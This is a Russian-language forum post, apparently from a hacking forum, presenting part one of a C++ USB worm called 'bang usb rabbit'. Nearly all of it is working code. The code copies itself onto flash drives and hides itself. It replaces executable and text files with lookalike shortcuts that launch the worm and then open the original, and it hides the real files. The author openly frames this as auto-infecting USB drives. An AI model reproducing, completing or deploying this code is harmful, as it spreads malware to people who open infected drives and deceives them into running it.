Admin
Администратор
bang usb rabbit [1]
Дамы и Господа, позвольте вам представить, взрывного кролика!
Кролик весьма игривое-пакостное существо, и когда он видит файлы в которых он не побывал, он сразу же это исправляет
Затем как истинный любитель свободы он садится на поезд usb и идёт до следующей остановки.
Но так как кролик размножается, он всегда оставляет своих детишек, что бы всем было неповадно
Данный код поддерживает работу как с уже подключенными, так и с новыми usb в режиме реального времени.
В данном посте вы увидите МОЁ видение автозаражения usb флэшек.
ЯП исключительно ваш любимый С++ (страдайте, бугагага)
Часть 1
Подключение, создание lnk, сокрытие, запуск.
Подключаем либы,дифайны,инклюды
C++:
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <tlhelp32.h>
#include <shobjidl.h>
#include <shlobj.h>
#include <filesystem>
#include <vector>
#include <string>
#include <iostream>
#include <exdisp.h>
#include <shlguid.h>
#include <shlwapi.h>
#include <winioctl.h>
#include <set>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")
Объявляем глобальную переменную g_selfName где мы будем хранить имя нашего исполняемого файла.
и др.
C++:
namespace fs = std::filesystem;
fs::path g_selfName;
C++:
const std::vector<std::wstring> extensions = {
L".exe", L".bat", L".cmd", L".com", L".txt"
};
C++:
bool hasTargetExtension(const fs::path& p) {
for (auto& e : extensions)
if (_wcsicmp(p.extension().c_str(), e.c_str()) == 0)
return true;
return false;
}
C++:
bool isMyFile(const fs::path& p) {
return _wcsicmp(p.filename().c_str(), g_selfName.c_str()) == 0;
}
C++:
void hideFile(const fs::path& p) {
DWORD a = GetFileAttributesW(p.c_str());
if (a != INVALID_FILE_ATTRIBUTES)
SetFileAttributesW(p.c_str(), a | FILE_ATTRIBUTE_HIDDEN);
}
C++:
void launchArgument(const wchar_t* arg) {
if (!arg || !*arg) return;
ShellExecuteW(nullptr, L"open", arg, nullptr, nullptr, SW_SHOWNORMAL);
}
Значит мы уже заразили, и нам не нужно оставаться, мы лишь запускаем кликнутый файл и выходим.
C++:
int countMyProcess() {
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
fs::path selfName = fs::path(selfPath).filename();
int count = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return 1;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, selfName.c_str()) == 0)
count++;
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return count;
}
Сладкое создание ярлыков.
Создаём ярлык с указанием моего скопированного файла на флэшку как оригинал.
Далее указываем иконкой оригинальный файл, ЕСЛИ файл txt то используем системную иконку.
Аргументом у нас представляется сам ориг файл
C++:
void createShortcut(const fs::path& original, const fs::path& PathR) {
fs::path lnk = original;
lnk += L".lnk";
if (fs::exists(lnk)) return;
IShellLinkW* link = nullptr;
IPersistFile* file = nullptr;
if (FAILED(CoCreateInstance(
CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
IID_IShellLinkW, (void**)&link)))
return;
link->SetPath(PathR.c_str());
std::wstring args = L"\"" + original.wstring() + L"\"";
link->SetArguments(args.c_str());
link->SetWorkingDirectory(PathR.parent_path().c_str());
if (_wcsicmp(original.extension().c_str(), L".txt") == 0)
link->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -102);
else
link->SetIconLocation(original.c_str(), 0);
if (SUCCEEDED(link->QueryInterface(IID_IPersistFile, (void**)&file))) {
file->Save(lnk.c_str(), TRUE);
file->Release();
}
link->Release();
}
Проверяем существует ли диск-папка куда мы будем копировать наш файл
Является ли директорией
Есть ли к ней доступ-права
Если происходит какая то ошибка сразу выходим.
C++:
bool processRootSafe(const fs::path& rootDir)
{
Sleep(300);
if (!fs::exists(rootDir) || !fs::is_directory(rootDir))
return false;
std::error_code ec;
fs::directory_iterator test(rootDir, ec);
if (ec) return false;
fs::path PathR = rootDir / g_selfName.c_str();
if (fs::exists(PathR))
return false;
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
fs::path exeDir = fs::path(exePath).parent_path();
fs::path MyPSource = exeDir / g_selfName.c_str();
if (!fs::exists(MyPSource))
return false;
try {
fs::copy_file(MyPSource, PathR,
fs::copy_options::overwrite_existing);
}
catch (...) {
return false;
}
hideFile(PathR);
try {
for (auto& e : fs::recursive_directory_iterator(
rootDir,
fs::directory_options::skip_permission_denied))
{
if (!e.is_regular_file()) continue;
const fs::path& f = e.path();
if (isMyFile(f)) continue;
if (!hasTargetExtension(f)) continue;
createShortcut(f, PathR);
hideFile(f);
}
}
catch (...) {
return false;
}
return true;
}
Нормализовываем путь, что бы F:\test\,F:\test\\ и F:\test считались одним и тем же путём
C++:
std::wstring normalizePath(const std::wstring& p)
{
wchar_t buf[MAX_PATH];
GetFullPathNameW(p.c_str(), MAX_PATH, buf, nullptr);
std::wstring out = buf;
if (!(out.size() == 3 && out[1] == L':' && out[2] == L'\\'))
{
while (!out.empty() && out.back() == L'\\')
out.pop_back();
}
return out;
}